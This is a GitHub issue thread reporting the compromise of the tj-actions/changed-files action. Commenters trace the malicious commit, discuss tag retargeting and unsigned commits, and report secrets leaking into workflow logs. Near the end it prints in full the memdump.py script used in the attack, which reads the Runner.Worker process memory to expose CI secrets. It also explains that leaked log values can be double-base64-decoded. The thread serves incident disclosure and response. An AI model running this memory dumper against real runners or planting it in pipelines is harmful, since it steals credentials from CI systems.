-
-
Notifications
You must be signed in to change notification settings - Fork 271
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Multiple tags in this action are compromised #2463
Comments
Yep... this looks scary: 0e58ed8 edit: https://semgrep.dev/blog/2025/popular-github-action-tj-actionschanged-files-is-compromised/ |
@jackton1 for you awareness |
It ultimately dumps memory to GHA logs, which can include GHA secrets: from the malicious commit: 0e58ed8 introduced in:
And if we base64 decode it:
|
Is it possible that this fails if bash is not installed? |
Yes, I started getting this error on my self-hosted Windows runners:
Not sure if GitHub hosted Windows runners have bash installed. |
@varunsh-coder did you already contact the email address in https://github.com/tj-actions/changed-files/security#public-vulnerability-disclosures? |
Yes |
I noticed this in a similar scenario. |
We even see some repositories using the backdoored commit by hash after updates by Renovate: https://github.com/search?q=0e58ed8671d6b60d0890c21b07f8835ace038e67&type=code |
I've just confirmed that it is printing double base64 encoded secrets in runner job logs based on your link. Here is one: https://github.com/szinn/k8s-homelab/actions/runs/13865435819/job/38803427088?pr=5353, double base64 --decode that output and boom, there is a |
Every tag got pointed to this malicious commit: |
I've just emailed [email protected] too with the title: "Urgent: Hundreds/Thousands of |
@ElijahLynn I submitted a active malware report too |
Yikes, I've disabled actions on the couple repos I use it on until this gets resolved. |
It looks like all of the tags were pushed to that hash:
Edit: nope, no ssh or gpg credentials were used to sign that commit. Moral of the story:
GitHub: if/when you review this issue--please consider not using a known avatar for unsigned commits. It certainly lends credibility to the PR when none has been earned. |
Makes me wonder if renovate is the one compromised? |
I wouldn't jump to that assumption; I thought you could set your Git author name and email to anything you want, e.g.:
Haven't people done this to fake famous developers making commits in their repos? |
@mceachen Re: renovate credentials: likely not. This commit was unsigned, while every other commit by Renovate in this repo is. Looks like a fake. |
I think it's unlikely However, unfortunately the real |
Is it possible that the memory dumper from https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py does not work in Docker containers? When I run it in
|
@sarentz-tc It didn't output anything on our self-hosted runners. No error or secrets displayed. |
Same. Ours are all in Docker. No VMs. I'm trying to see if that makes a difference. The error that I posted may be because the image I ran was not actually a runner image. |
The offending commit 0e58ed8 was never pushed to this repository, as you can see by clicking the link, the commit belongs to a fork of the repository. If the attacker had some way of updating the tags and releases of this repository, then they could have accomplished this attack by:
As the compromised commit was never pushed to the parent repository, it would not show in the Git logs. Only the owner of this organization has the audit logs necessary to figure out how step 3 was accomplished. I hope a full investigation is done |
Confirming that the memdump.py script works inside Docker based GitHub runners. |
Are you aware of anywhere else this PAT was stored? It seems unlikely the attacker compromised GitHub secrets. Was it also stored in a personal password manager? Plain text file on a server or laptop? The shell history of a laptop or server? Encrypted file on a server or laptop? |
#!/usr/bin/env python3
# based on https://davidebove.com/blog/?p=1620
import sys
import os
import re
def get_pid():
# https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python
pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
for pid in pids:
with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
if b'Runner.Worker' in cmdline_f.read():
return pid
raise Exception('Can not get pid of Runner.Worker')
if __name__ == "__main__":
pid = get_pid()
print(pid)
map_path = f"/proc/{pid}/maps"
mem_path = f"/proc/{pid}/mem"
with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
for line in map_f.readlines(): # for each mapped region
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
if m.group(3) == 'r': # readable region
start = int(m.group(1), 16)
end = int(m.group(2), 16)
# hotfix: OverflowError: Python int too large to convert to C long
# 18446744073699065856
if start > sys.maxsize:
continue
mem_f.seek(start) # seek to region start
try:
chunk = mem_f.read(end - start) # read region contents
sys.stdout.buffer.write(chunk)
except OSError:
continue |
@mceachen hmm curious why they didn't just pipe that into a web service. could have exfiltrated public and private secrets that way. strange. |
I think many of the write-ups on this are not clear about what it was doing and the impact. If you have private repos, this is not really that big of a deal as is. Why they didn't exfiltrate is a mystery. Perhaps they didn't have the infrastructure setup to catch all the requests. |
given that the python script is from a gist of nikitastupin and looking at their repos they seem to have done some security research around compromising github actions this could either have been an attempt to raise awareness with a stunt hack or this may be a supply chain attack where the malicious actor has access to the actual target's logs. just my 2 cents. |
It could have just been a skiddie who happened across creds but lacked the knowledge to do anything more complex. The python script isn't doing anything that couldn't have been done within the code of the action itself, even with obfuscation. If they'd skipped downloading a script to do the exfiltration they probably could have avoided detection for much longer. |
It was recently compromised and even though changes to tags were reverted it's still worth upgrading (GH also warns about <=45.0.7). See tj-actions/changed-files#2463 Signed-off-by: Roman Khimov <[email protected]>
It was recently compromised and even though changes to tags were reverted it's still worth upgrading (GH also warns about <=45.0.7). I've checked this repository, we've not leaked anything since March 14 (the day of the attack). See tj-actions/changed-files#2463 also. Signed-off-by: Roman Khimov <[email protected]>
They probably lifted a lot of it from my blog post where I theorized about this scenario over year ago: https://adnanthekhan.com/2024/01/10/cve-2023-49291-and-more-a-potential-actions-nightmare/ That initial bash payload + python script is a cookie cutter, off the shelf memdump payload. It’s no different from Googling “bash reverse shell” and running it. |
Example this tag was just updated 3 hours back and is potentially exfiltrating credentials
https://github.com/tj-actions/changed-files/tags?after=v35.9.3
You can read more here: https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised
Reported the issue via the email address provided in the
security.md
file and also reported it via private vulnerability disclosure to generate a CVE.The text was updated successfully, but these errors were encountered: